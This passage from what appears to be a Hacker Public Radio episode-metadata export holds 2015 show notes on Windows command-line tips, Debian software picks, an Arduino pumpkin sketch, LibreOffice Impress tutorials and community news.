                                                            This is much easier than going to the control panel, searching for users, adding a user, defining a password, choosing to make it an admin user. For me at least.

                                                            \n

                                                            Another thing the net command is used for is restarting services. Does that sounds silly to you? I agree! Regardless, let say you want to restart the print spooler on a troubled workstation. You could open a run prompt by hitting Windowskey+R and type "services.msc". This opens up the services window where you can find the service "print spooler" and right click it to restart. or you could just type:

                                                            \n
                                                            net stop spooler\nnet start spooler
                                                            \n

                                                            This is easier to script as well, in case a user is always having trouble printing. Provide a simple batch file (the equivalent of a shell script) to resolve and get on with your day.

                                                            \n

                                                            Affecting files can be a pain in Windows as the paths tend to be esoteric and alien to a Linux user. For example. Let's say I want to copy file foo.bar in the openVPN programs folder to my desktop. I could type:

                                                            \n
                                                            copy "C:\\Program Files (x86)\\OpenVPN Technologies\\OpenVPN Client\\etc\\profile\\foo.bar" "C:\\Users\\john\\desktop\\foo.bar"
                                                            \n

                                                            Gotta remember those doublequotes since Windows has spaces AND parentheses in the full path. Wow. Even with tab completion, that's a lot of work. I have a better solution if you have access to the GUI. Find the file you wish to copy and drag and drop it into the command window. Windows will enter the full path into the prompt. If the files does not already exist where you want it you can't drag it into the prompt. There are variables that can speed up this process. It may not be as elegant and simple as ~, but Windows does have a variable for the local user's home directory. You can type:

                                                            \n
                                                            %HOMEPATH%\\desktop\\foo.bar
                                                            \n

                                                            But you are saying, wait OnlyHalfTheTime, this doesn't save me any time or keystrokes! This is true in this specific case, but in scripting, it becomes important to use variables instead of full paths. I may not have Windows installed in the "C" drive for example. Also, some are real time-savers. if you use %APPDATA% for example, it maps to C:{username}.

                                                            \n

                                                            Now, let's say I am going to be doing a lot of work in a specific directory. I could keep entering the full path, but come on, no one likes that guy. I could open a command prompt and cd or change directory, just like in Linux. or I could find the directory in the file explorer and right click in the folder while holding down shift. This gives you and extra option in the context menu named 'open command windows here' which does exactly that. You will get a command window opened with the working directory set as the folder in which you right clicked.

                                                            \n

                                                            Hopefully some of these methods will help folks like me: Windows admin by day, Linux enthusiast by night. This is OnlyHalfTheTime, the Reluctant Windows Admin, signing off.

                                                            \n","hostid":319,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Windows, command line","version":0,"downloads":0,"valid":1}, {"id":1905,"date":"2015-11-20","title":"66 - LibreOffice Impress - Built-In Charts","duration":861,"summary":"Creating charts from inside Impress","notes":"

                                                            \nIn the last tutorial we looked at OLE objects, and saw that Charts could be brought into Impress from Calc via OLE. But you can create the Charts directly in Impress. Bear in mind that due to the modular nature of LibreOffice you will be using the same tools to do this as Calc uses: LibreOffice developers never reinvent the wheel if they can avoid it.\n

                                                            \n

                                                            \nThere is a lot to know about Charts if you are going to use them effectively, and we covered all of this in our Calc tutorials.\nFor more go to https://www.ahuka.com/?page_id=1291\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Charts","version":0,"downloads":0,"valid":1}, {"id":1906,"date":"2015-11-23","title":"Apt Spelunking 2: tvtime, phatch, and xstarfish","duration":1068,"summary":"Windigo digs through his software repositories and finds another couple of gems","notes":"

                                                            \n\tWelcome to the another episode of apt spelunking! If you missed the first\n\tepisode, I should explain. Apt spelunking is the act of aimlessly searching\n\tthrough your distribution's software repositories, and picking out the gems\n\tthat you find. I call it apt spelunking because I use Debian, which uses the\n\tapt packaging format.\n

                                                            \n

                                                            \n\tLet's jump into the first package: tvtime.\n

                                                            \n

                                                            \n\ttvtime\n

                                                            \n

                                                            https://tvtime.sourceforge.net/

                                                            \n\n

                                                            \n\tThe package tvtime is a simple one, but it does what it does very well. tvtime\n\tinterfaces with a TV tuner - specialized hardware that allows your computer to\n\tprocess analog television signals, via coaxial or RCA video cables. If you have\n\tthis hardware, usually an expansion card or USB peripheral, tvtime allows you to\n\tuse your computer as an analog television.\n

                                                            \n

                                                            \n\ttvtime binds to the card of your choosing, allows you to switch between NTSC and\n\tPAL modes (NTSC is what I use, that being the American standard), and shows you\n\ta wonderfully grainy video. It has filters that can help smooth out the image a\n\tbit, but it's still an analog video.\n

                                                            \n

                                                            \n\ttvtime is video only, so you need to use something else to handle the audio of\n\twhatever you are hooking up. Often this is done by the hardware tv tuner\n\tsomehow; my PCI card tuner has a 3.5mm jack that offloads any sound received\n\tover the coaxial wire, and I patch that into my sound card. RCA cables have\n\tseparate wires for audio, and I plug those into my sound card via a converter\n\tcable.\n

                                                            \n

                                                            \n\tI have used tvtime to hook up videogame consoles, VCRs, and older computers like\n\tthe TRS-80. It's helped me to defeat Eternal Darkness, an old GameCube game that\n\tis still worth a look, and it's allowed me to digitize old VHS tapes we have\n\tlying around. More on that in another episode.\n

                                                            \n

                                                            \n\tIt is a fantastic alternative to keeping an older analog TV around. If you have\n\tolder equipment that needs to dump analog video somewhere, tvtime and a hardware\n\ttuner makes for a great setup.\n

                                                            \n

                                                            \n\tphatch

                                                            \n

                                                            https://en.wikipedia.org/wiki/Phatch

                                                            \n\n

                                                            \n\tThis absurdly spelled program is incredibly good at what it does. Phatch, some\n\tsort of unholy combination of \"photo\" and \"batch\", is a GUI interface for\n\tassembling chains of actions to manipulate image files.\n

                                                            \n

                                                            \n\tI use this program for web development to save time when creating static photo\n\tgalleries or other types of images with similar constraints.\n

                                                            \n

                                                            \n\tTo use phatch, you assemble a set of operations (phatch refers to these as\n\t\"actions\") in an ordered \"action list\". I'll use my gallery thumbnail action\n\tlist as an example.\n

                                                            \n

                                                            \n\tThere are only two actions in my thumbnail action list: \"fit\", and \"save\". Each\n\taction has a set of predefined parameters and options that let you tweak what\n\thappens to your files. The \"fit\" action resizes an image without goofing up the\n\taspect ratio. You give it a box to fit the image in, and it fits it fully into\n\tthat box and cuts off any extra edges. The most important parameters for this\n\taction are canvas width, and canvas height - which tells phatch how big the box\n\tis. The save action has parameters that let you set which image format to use,\n\twhich folder to save to, and even what to name the file. For my thumbnails, I\n\thave it use the original filename, and append a \"_t\".\n

                                                            \n

                                                            \n\tOnce you have your action list together, you can tell phatch to run on an entire\n\tdirectory and include or exclude different file types.\n

                                                            \n

                                                            \n\tThere is much, much more to phatch than just resizing images. Sounds like\n\tanother episode idea… anyhow, moving on!\n

                                                            \n

                                                            \n\txstarfish\n

                                                            \n

                                                            \nhttps://packages.debian.org/hu/jessie/xstarfish\n

                                                            \n

                                                            \n\tI left xstarfish until the end, because it's so much fun and so very, very\n\tweird. xstarfish generates a random, tileable background that can be dumped to\n\ta file, or assigned directly to the X display of your choice.\n

                                                            \n

                                                            \n\tIt uses some sort of magic randomsauce to pick a color palette, some patterns,\n\tand some other distortions to that you get a brand-new, unique background every\n\ttime you run it.\n

                                                            \n

                                                            \n\tIt can also be started in daemon mode, with a timer, to automatically change\n\tyour wallpaper periodically.\n

                                                            \n

                                                            \n\tThere are at least two problems with this.\n

                                                            \n

                                                            \n\tFirst of all, let's start with the practical. You can set the size of the image\n\txstarfish generates, by either using the -g flag and manually setting the\n\tgeometry with a pixel width and/or height, or you can use the -s flag and set a\n\tgeneral size like \"small\", \"large\", or \"full\". If you use \"full\", xstarfish\n\tautomatically generates a full wallpaper for your display.\n

                                                            \n

                                                            \n\tSince xstarfish generates randomness (which is often CPU intensive) and uses\n\tthat to generate random filters (which can be hard on your CPU) and can be set\n\tto do it periodically (which, depending on frequency, could keep your CPU busy),\n\tthis utility can be a resource hog. I have two monitors, each running 1280x1024\n\tresolution, and when I set it to generate a new background every 10 seconds...\n\twell, it didn't. It just maxed out one of my CPU cores, and spit out a\n\tbackground every once and a while. Cutting it down to only generate a single\n\tmonitor-sized image every 60 seconds made things much more reasonable.\n

                                                            \n

                                                            \n\tThe second, more pertinent issue with xstarfish is that it randomly picks colors\n\tand patterns. It is exceptionally random about it. Imagine for a moment that you\n\tneeded to paint a room, and you wanted to pick random colors and patterns for a\n\troom in your house. You would begin by blindfolding a friend and pushing them\n\tinto the paint isle at your nearest hardware store. Whatever three buckets of\n\tpaint they bump into first, well, that's your color palette. What do you mean\n\tyou don't like orange, sea foam and gunmetal grey? \n

                                                            \n

                                                            \n\tThen, you take those paint cans and proceed to tie one to your ceiling fan, one\n\tto your eight-year-old child and swing the third around your head at a 35 degree\n\tangle. Fairly quickly, you'll have your own xstarfish-inspired decor.\n

                                                            \n

                                                            \n\tWith all of the potentially awful things that can happen, I really do like\n\txstarfish. It's not something I keep running all the time, and a lot of the\n\toptions remind me of early 90s Encino Man fashion and school photo backdrops\n\twith lasers. But sometimes the patterns are actually quite pleasing, and if I\n\tkeep the tile size small, it reminds me of 90s web design.\n

                                                            \n
                                                            \n

                                                            \n\tThat concludes the second installment of apt spelunking. Please don't let me\n\ttake all the glory; take a tour through your package manager, whatever distro\n\tyou use, and tell us about some cool stuff you find!\n

                                                            ","hostid":196,"series":98,"explicit":0,"license":"CC-BY-SA","tags":"apt,tvtime,xstarfish,phatch,images,batch,video,wallpaper,terrible","version":0,"downloads":0,"valid":1}, {"id":1907,"date":"2015-11-24","title":"Charlie Reisinger and Penn Manor","duration":366,"summary":"Klaatu interviews Charlie Reisinger of Penn Manor school district","notes":"

                                                            \nKlaatu interviews Charlie Reisinger about how Penn Manor school district uses of open source...on every student's laptop.\n

                                                            ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"linux,laptop,school","version":0,"downloads":0,"valid":1}, {"id":1908,"date":"2015-11-25","title":"Arduino Pumpkin","duration":448,"summary":"droops talks about how his class built a pumpkin that comes alive for halloween.","notes":"

                                                            Code for Pumpkin

                                                            \n\n\n\n\t\n\n\n\n\t\n\n\n\n\t\n\n\n\n\n\n
                                                            \nint ledPin1 = 5;\nint ledPin2 = 6;\nint motorPin = 8;\nint lightPin = 3;\nint lightVal;\nint potPin = 0;\nint potVal;\n\nvoid setup(){\n  Serial.begin(9600);\n  pinMode(ledPin1, OUTPUT);\n  pinMode(ledPin2, OUTPUT);\n  pinMode(motorPin, OUTPUT);\n  pinMode(potPin, INPUT);\n  pinMode(lightPin, INPUT);\n  digitalWrite(ledPin1, LOW);\n  digitalWrite(ledPin2, LOW);\n  digitalWrite(motorPin, LOW);\n}\n\nvoid loop(){\n  potVal = analogRead(potPin);\n  lightVal = analogRead(lightPin);\n  Serial.println(lightVal);\n  if (lightVal < potVal){\n    animate();\n  }\n}\n\nvoid animate(){\n  digitalWrite(ledPin1, HIGH);\n  digitalWrite(ledPin2, HIGH);\n  digitalWrite(motorPin, HIGH);\n  delay(100);\n  digitalWrite(ledPin1, LOW);\n  digitalWrite(ledPin2, LOW);\n  digitalWrite(motorPin, LOW);\n}\n
                                                            \n","hostid":1,"series":91,"explicit":0,"license":"CC-BY-NC-SA","tags":"Arduino,Arduino Uno,LED,pumpkin,Halloween","version":0,"downloads":0,"valid":1}, {"id":1909,"date":"2015-11-26","title":"Creating an Open, Embedded-Media Music Textbook","duration":1795,"summary":"This is a recording of my presentation at the recent national joint CMS/ATMI meeting in Indianapolis","notes":"

                                                            Re-Invigorating the Wheel: Creating an Open, Embedded-Media Music Textbook for the Digital Age

                                                            \n\n

                                                            \nThis is a recording of a presentation I gave on November 7th, 2015, at the national joint meeting of the College Music Society (CMS) and the Association for Technology in Music Instruction (ATMI) in Indianapolis, Indiana. I even have some action photos! Click on the first image below to visit the Flickr photo album, which also includes the slides from my presentation.\n

                                                            \n\n\"ATMI\n\n

                                                            Books

                                                            \n\n
                                                              \n
                                                            • Percy Goetschius. Counterpoint Applied in the Invention, Fugue, Canon and Other Polyphonic Forms. New York: G. Schirmer, 1902. Download
                                                            • \n\t
                                                            • ________. Exercises in Elementary Counterpoint. New York: G Schirmer, 1910. Download
                                                            • \n\t
                                                            • Kent Kennan. Counterpoint, 4th ed. Englewood Cliffs, NJ: Prentice-Hall, 1999.
                                                            • \n
                                                            • Jonathan Kulp, Gratis ad Parnassum: A Free Workbook for 18th-Century Counterpoint. Lafayette, LA: [no publisher] 2009. view pdf
                                                            • \n
                                                            • Friedrich J. Lehmann. A Treatise on Simple Counterpoint in Forty Lessons. New York: G Schirmer, 1907. (This is the one I found on Project Gutenberg that I did not think was suitable as a textbook for my class)
                                                            • \n
                                                            \n\n\n

                                                            Resources Mentioned

                                                            \n\n\n\n

                                                            Watch My Workflow:

                                                            \n\n\n\n

                                                            Serious Nerds Only

                                                            \n\n

                                                            Many of the tedious repetitive processes I had to do on image files and audio files are done by bash scripts that are launched by voice commands, as demonstrated in the YouTube video above. The processes I'm talking about are things like renaming files according to my filenaming conventions, putting the files in the right place, resizing images, converting images to different formats, optimizing them for file size, converting audio from MIDI to ogg and mp3, and reducing audio from two channels to one in order to reduce file size. Below are the main tools I use for this, apart from the Linux bash shell itself. If you're interested in actually seeing the scripts I wrote to perform the magic, I am happy to share. Just drop me an email.

                                                            \n\n
                                                              \n
                                                            • \n Calibre command-line tools: these were essential to automate the process of converting the source HTML file into the various versions and eBook formats of the book. Without this I might have thrown up my hands in defeat long ago.\n
                                                            • \n\n
                                                            • \n ImageMagick: command-line image-manipulation tools\n
                                                            • \n\n
                                                            • \nsox: command-line audio-manipulation tool, \"the Swiss Army knife of sound processing programs.\"\n
                                                            • \n\n
                                                            • \noptipng: command-line png optimizer. This is important to keep the book's file size as small as possible.\n
                                                            • \n\n
                                                            • \njpegoptim: command-line jpeg optimizer.\n
                                                            • \n\n
                                                            • \n TiMidity++: an open-source, command-line MIDI-to-WAVE converter and player.\n
                                                            • \n\n
                                                            • \n LAME: high quality MPEG Audio Layer III (MP3) encoder licensed under the LGPL.\n
                                                            • \n
                                                            • \n oggenc (part of vorbis-tools): Several tools to use, manipulate and create Vorbis files (vorbis is a free audio codec).\n
                                                            • \n\n
                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"open learning materials, counterpoint, music theory, html, ebooks, epub, public domain","version":0,"downloads":0,"valid":1}, {"id":1910,"date":"2015-11-27","title":"QMMP--The Qt-based MultiMedia Player","duration":691,"summary":"QMMP is a simple media player inspired by Winamp and XMMS.","notes":"

                                                            Qmmp is an audio and video player for Linux, BSD, and Windows that's similar in appearance and functionality to Wimamp and XMMS. The Linux and BSD version are capable of playing video as well, through an mplayer plugin.

                                                            \n

                                                            If you like eye candy, it's skinnable; a library of skins is available from the maintainer. In addition, it works nicely with legacy XMMS and Winamp skins.

                                                            \n

                                                            Screenshots:

                                                            \n

                                                            Qmmp interface.
                                                            \n

                                                            \n

                                                            Qmmp video play:
                                                            \n

                                                            \n

                                                            Qmmp settings dialog:
                                                            \n

                                                            \n

                                                            Links:

                                                            \n

                                                            Homepage: https://qmmp.ylsoftware.com/

                                                            \n

                                                            Slackbuilds links:\nQmmp: https://slackbuilds.org/repository/14.1/audio/qmmp/\nQmmp Plugins: https://slackbuilds.org/repository/14.1/audio/qmmp-plugin-pack/

                                                            \n

                                                            Wikipedia article: https://en.wikipedia.org/wiki/Qmmp

                                                            \n

                                                            Playlist (*.m3u) specification:\nhttps://tools.ietf.org/html/draft-pantos-http-live-streaming-17

                                                            \n

                                                            Skinamp: https://www.saschahlusiak.de/skinamp/

                                                            \n

                                                            Librivox: https://librivox.org/

                                                            \n","hostid":195,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Audio,Video,Player,Playlist","version":0,"downloads":0,"valid":1}, {"id":1911,"date":"2015-11-30","title":"Thoughts on GUI v CLI and the best distro","duration":909,"summary":"Thoughts on which desktop to use, and which GUI to use","notes":"

                                                            Promotion of GUI to new users

                                                            \n

                                                            \nDeciding which GUI to present to a non techie, is simply a non issue as they can and do use different OS's all the time. We all have family and friends who have managed to operate phones, TV's and tablets as they iterate through their UI changes. Think about the changes in phones from Symbian to Android, iOS. The move from up and down channel tv's to DVR's, STB's and smart TV's. An then they all managed to get the hang of iPads and tablets without even calling you.\n

                                                            \n\n

                                                            Promotion of GUI to tech savvy users.

                                                            \n

                                                            \nTeach someone to use a GUI and they can use that computer.
                                                            \nTeach someone the command line and they can use any computer.\n

                                                            \n\n

                                                            \nGUI's change and do so all the time. This happens across the board. On all OS's Windows, Mac, KDE, Android, Gnome, Nokia.
                                                            \nhttps://en.wikipedia.org/wiki/History_of_the_graphical_user_interface\n

                                                            \n

                                                            \nOn the other hand, if you learn to computer via the command line ONCE, then you know how to operate computers from 46 years ago, and most likely in 46 years. If you plans involve a career in the tech industry, you need to be using the command line.\n

                                                            \n

                                                            \nMost of the issues are the fear of not been the expert any more.\n

                                                            \n\n

                                                            Is Linux is ready for the Desktop ?

                                                            \n

                                                            \nYes. Android
                                                            \nhttps://www.businessinsider.com/iphone-v-android-market-share-2014-5?IR=T\n

                                                            \n\n\n\n

                                                            IS GNU/Linux is ready for the Desktop ?

                                                            \n

                                                            \nBut you cry \"Android isn't Linux\".\n

                                                            \n

                                                            \nYes. ChromeOS is now shipping more units to educational market than Apple.
                                                            \nhttps://www.forbes.com/sites/anthonykosner/2014/12/01/google-unseats-apple-in-u-s-classrooms-as-chromebooks-beat-ipads/
                                                            \nhttps://events.linuxfoundation.org/sites/events/files/slides/chrome.pdf\n

                                                            \n\n

                                                            Summary

                                                            \n

                                                            \nDon't worry about it. Find what works for you and use it. Try and learn as much as you can. Learning stuff that will be around in 5 years is a good investment, but that is your choice.\n

                                                            \n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"GUI,Graphical User Interface,CLI,Command Line Interface","version":0,"downloads":0,"valid":1}, {"id":1912,"date":"2015-12-01","title":"OpenNMS at All Things Open Conference","duration":476,"summary":"Klaatu talks to the OpenNMS project at the All Things Open Conference","notes":"

                                                            \nKlaatu talks to Jessie the OpenNMS project at the All Things Open Conference.\n

                                                            ","hostid":78,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"interview,OpenNMS","version":0,"downloads":0,"valid":1}, {"id":1913,"date":"2015-12-02","title":"The Linux Experiment","duration":209,"summary":"Help us take The Linux Experiment to the next level!","notes":"

                                                            \nIs free software ready for the mainstream? Has Linux progressed far enough in its evolution to be a practical desktop environment for those who dont have degrees in computer science? Can a user really just switch off Windows or Mac and be as productive on a completely open source operating system?\n

                                                            \n

                                                            \nThe Linux Experiment is relatively simple in its goals. Friends, all with varying degrees of experience with Linux in general (even some with zero experience and others who have experience with multiple distributions), will install some distribution or another of Linux on their home computers for four months.\n

                                                            \n

                                                            \nOver the course of these four months, the users will administrate, tinker with, and use Linux as their primary home operating system, utilizing the power of open-source operating systems and applications to see just how productive they can be. Updates will be made on this very site along the way, providing an in-depth look into how each user is adapting to their new environment. The trials, tribulations, triumphs, and other nouns beginning with t will all be laid out here, bare for everyone to see.\n

                                                            \n

                                                            \nBy the end of the four month cycle, each user has imposed their own goals as to where they want to be with Linux; running a server environment? Comfortable to tinker with bash commands? Time will tell.\n

                                                            \n

                                                            \nFor now, sit back, relax, and enjoy this isnt your normal experiment. We are the guinea pigs.\n

                                                            \n\n","hostid":320,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, the linux experiment, community","version":0,"downloads":0,"valid":1}, {"id":1914,"date":"2015-12-03","title":"Waking up","duration":462,"summary":"A follow up episode in response to Windigo's episode about waking up","notes":"

                                                            \nWhen I first heard Windigo's episode about waking up, I literally uttered \"Windigo, yer fucking killing me, man\".\n

                                                            \n

                                                            \nhttps://hackerpublicradio.org/eps.php?id=1838\n

                                                            \n","hostid":243,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"computer-based alarm system,media player,LED","version":0,"downloads":0,"valid":1}, {"id":1915,"date":"2015-12-04","title":"67 - LibreOffice Impress - Tables","duration":937,"summary":"Impress tables and how to format them","notes":"

                                                            \nWe now have looked at three of the four objects that are offered to you on a new slide: Charts, Pictures, and Movies. So now it is time to take a look at Tables. You have options here, such as embedding a table from Calc or Writer, and there are times when you need that degree of power. But most of the time you can do what you need inside of Impress using its own functionality. As we saw last time with Charts, you can just click the button in the middle of a new slide and insert a Table that way, but that may not always be feasible, so you have the alternative option of going to the Insert menu and selecting Table. \nFor more go to https://www.ahuka.com/?page_id=1285\n

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Tables","version":0,"downloads":0,"valid":1}, {"id":1916,"date":"2015-12-07","title":"HPR Community News for November 2015","duration":6854,"summary":"HPR Community News for November 2015","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new hosts:
                                                            \n Eric Duhamel, \n OnlyHalfTheTime.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            1891Mon2015-11-02HPR Community News for October 2015HPR Volunteers
                                                            1892Tue2015-11-03my chicken coopJezra
                                                            1893Wed2015-11-04My LastPass AlternativeToeJet
                                                            1894Thu2015-11-05Interview with Davide Zilli and Dr Marianne Sinka of the HumBug ProjectKen Fallon
                                                            1895Fri2015-11-0665 - LibreOffice Impress - OLE Objects, Spreadsheets, and ChartsAhuka
                                                            1896Mon2015-11-09User Local SoftwareEric Duhamel
                                                            1897Tue2015-11-10Installing Windows 7 Ultimateswift110
                                                            1898Wed2015-11-11Free my music!Alpha32
                                                            1899Thu2015-11-12MyTinyTodo ListJon Kulp
                                                            1900Fri2015-11-1320 - SSH BasicsAhuka
                                                            1901Mon2015-11-16Instaling Linux programs without internetswift110
                                                            1902Tue2015-11-17My Linux Tool BoxFin
                                                            1903Wed2015-11-18Some further Bash tipsDave Morriss
                                                            1904Thu2015-11-19Windows Command Line Tips and TricksOnlyHalfTheTime
                                                            1905Fri2015-11-2066 - LibreOffice Impress - Built-In ChartsAhuka
                                                            1906Mon2015-11-23Apt Spelunking 2: tvtime, phatch, and xstarfishWindigo
                                                            1907Tue2015-11-24Charlie Reisinger and Penn Manorklaatu
                                                            1908Wed2015-11-25Arduino Pumpkindroops
                                                            1909Thu2015-11-26Creating an Open, Embedded-Media Music TextbookJon Kulp
                                                            1910Fri2015-11-27QMMP--The Qt-based MultiMedia PlayerFrank Bell
                                                            1911Mon2015-11-30Thoughts on GUI v CLI and the best distroKen Fallon
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the Mail List which is open to all\nHPR listeners and contributors. The discussions are open and available on the\nGmane\narchive.\n

                                                            \n

                                                            The main threads this month were:

                                                            \n
                                                              \n
                                                            1. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-11-13 11:23:49 +0100
                                                              \n Subject: New Podcast: international open magazine
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/978
                                                              \n Messages: 1

                                                            2. \n
                                                            3. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-11-15 13:09:44 UTC
                                                              \n Subject: UK Table Kit
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/979
                                                              \n Messages: 1

                                                            4. \n
                                                            5. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-11-15 19:38:03 -0600
                                                              \n Subject: Re: 1. UK Table Kit (Dave Morriss)
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/980
                                                              \n Messages: 5

                                                            6. \n
                                                            7. From: Patrick Dailey <pdailey03@...>
                                                              \n Date: 2015-11-16 08:27:32 -0500
                                                              \n Subject: Re: Hpr Digest, Vol 86, Issue 4
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/985
                                                              \n Messages: 1

                                                            8. \n
                                                            9. From: Lord Drachenblut <lord.drachenblut@...>
                                                              \n Date: 2015-11-18 07:28:42 UTC
                                                              \n Subject: HPR Zoom H1
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/986
                                                              \n Messages: 1

                                                            10. \n
                                                            11. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-11-21 13:11:26 +0100
                                                              \n Subject: Wed 2015-12-02: hpr1913
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/987
                                                              \n Messages: 4

                                                            12. \n
                                                            13. From: Clinton Roy <clinton.roy@...>
                                                              \n Date: 2015-11-22 16:57:20 +1000
                                                              \n Subject: first update
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/988
                                                              \n Messages: 4

                                                            14. \n
                                                            15. From: Kevin O'Brien <zwilnik@...>
                                                              \n Date: 2015-11-22 13:10:28 -0500
                                                              \n Subject: Short break
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/992
                                                              \n Messages: 3

                                                            16. \n
                                                            17. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-11-28 07:00:11 -0600
                                                              \n Subject: Metadata bloat
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/995
                                                              \n Messages: 5

                                                            18. \n
                                                            19. From: Mike Dupont <jamesmikedupont@...>
                                                              \n Date: 2015-11-28 10:40:56 -0500
                                                              \n Subject: 412 Precondition Failed
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/998
                                                              \n Messages: 8

                                                            20. \n
                                                            21. From: Frank Bell <frankwbell@...>
                                                              \n Date: 2015-11-28 15:20:25 -0500
                                                              \n Subject: A Question about Shownotes
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1007
                                                              \n Messages: 3

                                                            22. \n
                                                            23. From: Fifty OneFifty <fiftyonefifty@...>
                                                              \n Date: 2015-11-29 15:21:14 -0600
                                                              \n Subject: Re: Wed 2015-12-02: hpr1913 - UPDATE TO SITE
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1012
                                                              \n Messages: 1

                                                            24. \n
                                                            25. From: Ken Fallon <ken@...>
                                                              \n Date: 2015-11-30 11:44:52 +0100
                                                              \n Subject: New Year Show ?
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1014
                                                              \n Messages: 1

                                                            26. \n
                                                            27. From: Dave Morriss <perloid@...>
                                                              \n Date: 2015-11-30 12:30:25 UTC
                                                              \n Subject: HPR Community News - next Saturday on 2015-12-05T18:00:00Z
                                                              \n Link: https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/1016
                                                              \n Messages: 1
                                                            28. \n
                                                            \nTotal messages this month: 39
                                                            \n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.

                                                            \n

                                                            There are 37 comments:

                                                            \n
                                                              \n
                                                            • hpr1649\n(2014-11-27) \"Raspberry Pi Accessibility Breakthrough\"\nby Mike Ray.\n
                                                              • Comment 6:\nSteven on 2015-11-28:\n\"Question about your mods\"
                                                              • \n

                                                            • \n
                                                            • hpr1828\n(2015-08-05) \"Multimeter Mod's Part 1\"\nby NYbill.\n
                                                              • Comment 4:\nNYbill on 2015-11-02:\n\"USB cab;e prices went up. \"
                                                              • \n

                                                            • \n
                                                            • hpr1887\n(2015-10-27) \"Coffee Making Basics\"\nby JustMe.\n
                                                              • Comment 1:\nBob Jonkman on 2015-11-08:\n\"Aerating boiling water\"
                                                              • \n

                                                            • \n
                                                            • hpr1889\n(2015-10-29) \"experiencing the meegopad T-02 part one\"\nby A Shadowy Figure.\n
                                                              • Comment 5:\nA Shadowy Figure on 2015-11-02:\n\"Wow, Just Wow..\"
                                                              • Comment 6:\nAnon on 2015-11-03:\n\"Ocean Club...\"
                                                              • Comment 7:\nCPrompt^ on 2015-11-04:\n\"Fantastic!\"
                                                              • Comment 8:\nFrank on 2015-11-04:\"[no title]\"
                                                              • Comment 9:\nDavid Whitman on 2015-11-04:\n\"Nice\"
                                                              • Comment 10:\nDennis Blanchard on 2015-11-04:\n\"Good job on mysterious technology.\"
                                                              • Comment 11:\n(Mad Dog?) Dave Morriss on 2015-11-05:\n\"Brilliant!\"
                                                              • Comment 12:\nREL on 2015-11-08:\n\"Mr\"
                                                              • Comment 13:\nA Shadowy Figure on 2015-11-09:\n\"Production has began on Pt.2\"
                                                              • \n

                                                            • \n
                                                            • hpr1890\n(2015-10-30) \"A short walk with my son\"\nby thelovebug.\n
                                                              • Comment 3:\nJon Kulp on 2015-11-03:\n\"Better is better\"
                                                              • \n

                                                            • \n
                                                            • hpr1892\n(2015-11-03) \"my chicken coop\"\nby Jezra.\n
                                                              • Comment 1:\nJon Kulp on 2015-11-03:\n\"Some Fowl Commentary\"
                                                              • Comment 2:\nMike Ray on 2015-11-03:\n\"Kernel Sanders\"
                                                              • Comment 3:\njezra on 2015-11-05:\"[no title]\"
                                                              • \n

                                                            • \n
                                                            • hpr1894\n(2015-11-05) \"Interview with Davide Zilli and Dr Marianne Sinka of the HumBug Project\"\nby Ken Fallon.\n
                                                              • Comment 1:\nSteve Bickle on 2015-11-15:\n\"Exellent episode\"
                                                              • Comment 2:\nDave Morriss on 2015-11-16:\n\"Great interview, great project\"
                                                              • \n

                                                            • \n
                                                            • hpr1896\n(2015-11-09) \"User Local Software\"\nby Eric Duhamel.\n
                                                              • Comment 1:\nEric Duhamel on 2015-11-25:\n\"Other ideas\"
                                                              • \n

                                                            • \n
